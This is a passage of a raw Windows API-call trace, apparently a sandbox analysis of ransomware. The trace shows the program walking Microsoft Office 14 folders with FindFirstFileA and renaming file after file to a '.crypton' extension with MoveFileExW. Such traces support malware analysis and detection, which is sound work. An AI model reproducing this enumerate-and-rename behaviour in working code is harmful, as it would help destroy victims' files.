(lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whiteboxmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\WhiteboxMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\whiteboxmask.bmp.crypton"), dwFlags=0x2) returned 1 [0105.735] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomicons.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIcons.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomicons.jpg.crypton"), dwFlags=0x2) returned 1 [0105.739] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomiconsmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ZoomIconsMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\zoomiconsmask.bmp.crypton"), dwFlags=0x2) returned 1 [0105.748] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\*", lpFindFileData=0x4a96d0 | out: lpFindFileData=0x4a96d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53907610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc64b4a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbc64b4a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3e000a34, cFileName=".", cAlternateFileName="")) returned 0x549890 [0105.753] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimages.jpg"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImages.jpg.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimages.jpg.crypton"), dwFlags=0x2) returned 1 [0105.757] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimagesmask.bmp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Welcome Tool\\IconImagesMask.bmp.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\welcome tool\\iconimagesmask.bmp.crypton"), dwFlags=0x2) returned 1 [0105.763] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc64b4a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbc64b4a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0105.768] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc671600, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbc671600, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0105.770] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\messenger.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Messenger.xml.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\messenger.xml.crypton"), dwFlags=0x2) returned 1 [0105.771] GetFileType (hFile=0x174) returned 0x1 [0105.808] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\Space Templates\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc6bd8c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbc6bd8c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0105.859] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starterapplicationdescriptors.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starterapplicationdescriptors.xml.crypton"), dwFlags=0x2) returned 1 [0105.918] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starternotificationdescriptors.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterNotificationDescriptors.xml.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starternotificationdescriptors.xml.crypton"), dwFlags=0x2) returned 1 [0105.974] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\startertooltemplates.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\startertooltemplates.xml.crypton"), dwFlags=0x2) returned 1 [0105.981] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc8607e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbc8607e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0105.987] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc886940, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbc886940, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0105.992] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc886940, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbc886940, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549850 [0106.136] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12\\Microsoft.Office.InfoPath.xml.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\infopathomformservicesv12\\microsoft.office.infopath.xml.crypton"), dwFlags=0x2) returned 1 [0106.285] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\microsoft.office.infopath.xml.crypton"), dwFlags=0x2) returned 1 [0106.292] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcb5a360, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbcb5a360, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0106.435] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomv12\\microsoft.office.infopath.xml.crypton"), dwFlags=0x2) returned 1 [0106.578] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml.crypton"), dwFlags=0x2) returned 1 [0106.628] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\IPIRM.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\ipirm.xml.crypton"), dwFlags=0x2) returned 1 [0106.671] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml.crypton"), dwFlags=0x2) returned 1 [0106.684] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\jfont.dat"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\JFONT.DAT.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\jfont.dat.crypton"), dwFlags=0x2) returned 1 [0107.197] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP" (normalized: "c:\\program files\\microsoft office\\office14\\latin1.shp"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\LATIN1.SHP.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\latin1.shp.crypton"), dwFlags=0x2) returned 1 [0107.203] GetFileType (hFile=0x190) returned 0x1 [0107.208] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Library\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd421480, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbd421480, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0107.215] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd4475e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbd4475e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0107.255] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\atpvbaen.xlam"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\ATPVBAEN.XLAM.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\atpvbaen.xlam.crypton"), dwFlags=0x2) returned 1 [0107.315] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\funcres.xlam"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\FUNCRES.XLAM.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\funcres.xlam.crypton"), dwFlags=0x2) returned 1 [0107.345] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\procdb.xlam"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis\\PROCDB.XLAM.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis\\procdb.xlam.crypton"), dwFlags=0x2) returned 1 [0107.608] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\eurotool.xlam"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Library\\EUROTOOL.XLAM.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\library\\eurotool.xlam.crypton"), dwFlags=0x2) returned 1 [0107.618] GetFileType (hFile=0x198) returned 0x1 [0107.728] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd90a1e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbd90a1e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0108.131] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\solver.xlam"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Library\\SOLVER\\SOLVER.XLAM.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\library\\solver\\solver.xlam.crypton"), dwFlags=0x2) returned 1 [0108.180] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\lookup.dat"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\LOOKUP.DAT.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\lookup.dat.crypton"), dwFlags=0x2) returned 1 [0108.192] FindFirstFileA (in: lpFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbdd80b20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xbdd80b20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0108.209] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\applause.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\APPLAUSE.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\applause.wav.crypton"), dwFlags=0x2) returned 1 [0108.225] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\arrow.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\ARROW.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\arrow.wav.crypton"), dwFlags=0x2) returned 1 [0108.336] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\bomb.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\bomb.wav.crypton"), dwFlags=0x2) returned 1 [0108.343] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\breeze.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\breeze.wav.crypton"), dwFlags=0x2) returned 1 [0108.349] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\camera.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\camera.wav.crypton"), dwFlags=0x2) returned 1 [0108.356] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\cashreg.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\cashreg.wav.crypton"), dwFlags=0x2) returned 1 [0108.380] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\chimes.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\chimes.wav.crypton"), dwFlags=0x2) returned 1 [0108.384] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\click.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\click.wav.crypton"), dwFlags=0x2) returned 1 [0108.392] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\coin.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\coin.wav.crypton"), dwFlags=0x2) returned 1 [0108.405] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\drumroll.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\drumroll.wav.crypton"), dwFlags=0x2) returned 1 [0108.421] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\explode.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\explode.wav.crypton"), dwFlags=0x2) returned 1 [0108.426] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\hammer.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\hammer.wav.crypton"), dwFlags=0x2) returned 1 [0108.430] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\laser.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\laser.wav.crypton"), dwFlags=0x2) returned 1 [0108.441] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\push.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\push.wav.crypton"), dwFlags=0x2) returned 1 [0108.448] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\suction.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\suction.wav.crypton"), dwFlags=0x2) returned 1 [0108.454] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\type.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\type.wav.crypton"), dwFlags=0x2) returned 1 [0108.464] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\voltage.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\voltage.wav.crypton"), dwFlags=0x2) returned 1 [0108.468] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\whoosh.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\whoosh.wav.crypton"), dwFlags=0x2) returned 1 [0108.478] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\wind.wav"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\media\\wind.wav.crypton"), dwFlags=0x2) returned 1 [0108.702] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml.crypton"), dwFlags=0x2) returned 1 [0108.720] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml.crypton"), dwFlags=0x2) returned 1 [0108.724] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml.crypton" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml.crypton"), dwFlags=0x2) returned 1 [0108.841] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml" (normalized: "c:\\program files\\microsoft 